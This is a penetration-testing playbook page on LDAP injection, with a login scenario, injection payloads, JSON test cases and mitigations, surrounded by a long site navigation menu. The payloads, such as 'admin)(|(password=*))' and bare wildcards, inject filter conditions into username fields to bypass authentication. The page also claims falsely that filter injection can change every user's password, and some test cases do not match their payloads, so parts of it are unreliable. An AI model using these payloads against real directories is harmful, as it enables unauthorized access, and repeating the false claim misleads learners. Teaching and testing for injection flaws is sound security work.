PenTest Playbook
  • Welcome!
  • Web App Pentesting
    • SQL Injection
    • NoSQL Injection
    • XSS
    • CSRF
    • SSRF
    • XXE
    • IDOR
    • SSTI
    • Broken Access Control/Privilege Escalation
    • Open Redirect
    • File Inclusion
    • File Upload
    • Insecure Deserialization
      • XMLDecoder
    • LDAP Injection
    • XPath Injection
    • JWT
    • Parameter Pollution
    • Prototype Pollution
    • Race Conditions
    • CRLF Injection
    • LaTeX Injection
    • CORS Misconfiguration
    • Handy Commands & Payloads
  • Active Directory Pentest
    • Domain Enumeration
      • User Enumeration
      • Group Enumeration
      • GPO & OU Enumeration
      • ACLs
      • Trusts
      • User Hunting
    • Domain Privilege Escalation
      • Kerberoast
        • AS-REP Roast (Kerberoasting)
        • CRTP Lab 14
      • Targeted Kerberoasting
        • AS-REP Roast
        • Set SPN
      • Kerberos Delegation
        • Unconstrained Delegation
          • CRTP Lab 15
        • Constrained Delegation
          • CRTP Lab 16
        • Resource Based Constrained Delegation (RBCD)
          • CRTP Lab 17
      • Across Trusts
        • Child to Parent (Cross Domain)
          • Using Trust Tickets
            • CRTP Lab 18
          • Using KRBTGT Hash
            • CRTP Lab 19
        • Cross Forest
          • Lab 20
        • AD CS (Across Domain Trusts)
          • ESC1
            • CRTP Lab 21
        • Trust Abuse - MSSQL Servers
          • CRTP Lab 22
    • Lateral Movement
      • PowerShell Remoting
      • Extracting Creds, Hashes, Tickets
      • Over-PassTheHash
      • DCSync
    • Evasion
      • Evasion Cheetsheet
    • Persistence
      • Golden Ticket
        • CRTP Lab 8
      • Silver Ticket
        • CRTP Lab 9
      • Diamond Ticket
        • CRTP Lab 10
      • Skeleton Key
      • DSRM
        • CRTP Lab 11
      • Custom SSP
      • Using ACLs
        • AdminSDHolder
        • Rights Abuse
          • CRTP Lab 12
        • Security Descriptors
          • CRTP Lab 13
    • Tools
    • PowerShell
  • AI Security
    • LLM Security Checklist
    • GenAI Vision Security Checklist
    • Questionnaire for AI/ML/GenAI Engineering Teams
  • Network Pentesting
    • Information Gathering
    • Scanning
    • Port/Service Enumeration
      • 21 FTP
      • 22 SSH
      • 25, 465, 587 SMTP
      • 53 DNS
      • 80, 443 HTTP/s
      • 88 Kerberos
      • 135, 593 MSRPC
      • 137, 138, 139 NetBios
      • 139, 445 SMB
      • 161, 162, 10161, 10162/udp SNMP
      • 389, 636, 3268, 3269 LDAP
      • Untitled
      • Page 14
      • Page 15
      • Page 16
      • Page 17
      • Page 18
      • Page 19
      • Page 20
    • Nessus
    • Checklist
  • Mobile Pentesting
    • Android
      • Android PenTest Setup
      • Tools
    • iOS
  • DevSecOps
    • Building CI Pipeline
    • Threat Modeling
    • Secure Coding
      • Code Review Examples
        • Broken Access Control
        • Broken Authentication
        • Command Injection
        • SQLi
        • XSS
        • XXE
        • SSRF
        • SSTI
        • CSRF
        • Insecure Deserialization
        • XPath Injection
        • LDAP Injection
        • Insecure File Uploads
        • Path Traversal
        • LFI
        • RFI
        • Prototype Pollution
        • Connection String Injection
        • Sensitive Data Exposure
        • Security Misconfigurations
        • Buffer Overflow
        • Integer Overflow
        • Symlink Attack
        • Use After Free
        • Out of Bounds
      • C/C++ Secure Coding
      • Java/JS Secure Coding
      • Python Secure Coding
  • Malware Dev
    • Basics - Get detected!
    • Not so easy to stage!
    • Base64 Encode Shellcode
    • Caesar Cipher (ROT 13) Encrypt Shellcode
    • XOR Encrypt Shellcode
    • AES Encrypt Shellcode
  • Handy
    • Reverse Shells
    • Pivoting
    • File Transfers
    • Tmux
  • Wifi Pentesting
    • Monitoring
    • Cracking
  • Buffer Overflows
  • Cloud Security
    • AWS
    • GCP
    • Azure
  • Container Security
  • Todo
Powered by GitBook
On this page
  • Description
  • Example with Scenario
  • Payloads and Test Cases
  • Mitigation
  1. Web App Pentesting

LDAP Injection

Description

LDAP Injection is a type of attack that exploits web applications to execute arbitrary LDAP (Lightweight Directory Access Protocol) queries. By injecting malicious LDAP statements into an application, attackers can bypass authentication, retrieve sensitive information, or modify LDAP entries.

Example with Scenario

Consider a web application that allows users to log in using their username and password. The application constructs an LDAP query to authenticate the user. If the input is not properly sanitized, an attacker can inject malicious LDAP queries.

Scenario: A login form where a user inputs a username and password:

  • Input fields: username, password

  • LDAP query: (&(uid={username})(userPassword={password}))

Payloads and Test Cases

Payloads

  1. Basic LDAP Injection:

    • username: *

    • password: *

    • This payload attempts to bypass authentication by injecting wildcards.

  2. Bypass Authentication:

    • username: admin)(|(password=*))

    • password: anything

    • This payload attempts to authenticate as the admin user by injecting an OR condition.

  3. Extract Information:

    • username: *

    • password: *

    • This payload retrieves all user records by injecting a wildcard.

  4. Modify Entries:

    • username: *)(|(userPassword=anynewpassword))

    • password: anypassword

    • This payload attempts to modify the password for all users.

Test Cases

  1. Test Case 1: Bypass with Wildcards

    • Input:

      {
        "username": "*",
        "password": "*"
      }
    • Expected Result: Successful login without valid credentials.

  2. Test Case 2: OR Condition Injection

    • Input:

      {
        "username": "admin)(|(password=*))",
        "password": "anypassword"
      }
    • Expected Result: Login as admin user without knowing the actual password.

  3. Test Case 3: Extract All Entries

    • Input:

      {
        "username": "*",
        "password": "*"
      }
    • Expected Result: Retrieve all user entries from the LDAP directory.

  4. Test Case 4: Modify User Passwords

    • Input:

      {
        "username": "admin)(|(userPassword=anynewpassword))",
        "password": "anypassword"
      }
    • Expected Result: Passwords for all users are changed to anynewpassword.

Mitigation

  1. Input Validation and Sanitization:

    • Validate and sanitize user inputs by using allowlists to ensure only valid characters are accepted.

    • Reject any inputs containing LDAP-specific metacharacters.

  2. Parameterized Queries:

    • Use parameterized LDAP queries or prepared statements to prevent injection.

  3. Escape User Inputs:

    • Properly escape all user inputs before including them in LDAP queries.

  4. Least Privilege Principle:

    • Ensure the LDAP account used by the application has the minimum necessary privileges to perform its functions.

  5. Security Testing:

    • Regularly perform security testing, including automated scans and manual penetration tests, to identify and fix potential LDAP injection vulnerabilities.

  6. Logging and Monitoring:

    • Implement logging and monitoring mechanisms to detect and respond to suspicious activities related to LDAP queries.

PreviousXMLDecoderNextXPath Injection

Last updated 10 months ago